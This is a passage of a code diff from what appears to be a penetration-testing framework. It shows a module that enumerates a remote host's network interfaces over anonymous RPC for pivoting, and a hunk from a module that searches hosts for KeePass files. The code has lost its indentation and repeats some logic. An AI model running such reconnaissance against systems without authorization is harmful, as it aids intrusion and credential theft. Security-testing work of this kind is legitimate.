description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
def on_login(self, context, connection):
authLevel = RPC_C_AUTHN_LEVEL_NONE
try:
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
None,
IID_IObjectExporter,
target_ip=connection.host,
auth_level=RPC_C_AUTHN_LEVEL_NONE,
anonymous_rpc=True,
)
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
portmap.connect()
context.log.debug(f"Retrieving network interface of {connection.host}")
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
context.log.debug("[*] Retrieving network interface of " + connection.host)
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight("Address: " + NetworkAddr)
except Exception as e:
context.log.debug(e)
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
if self.pivot:
if NetworkAddr.rstrip("\x00") != connection.host:
context.log.highlight(f"Address: {NetworkAddr}")
else:
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
context.log.error(f"DCERPCException error: {e}")
+2 -2
View File
@@ -1,4 +1,5 @@
from csv import reader
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
name = "keepass_discover"
description = "Search for KeePass-related files and process."
supported_protocols = ["smb"]
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
multiple_hosts = True
category = CATEGORY.ENUMERATION
def __init__(self):
self.search_type = "ALL"
Loaded 100 of 260 files, more files were not shown because too many files have changed in this diff. Show more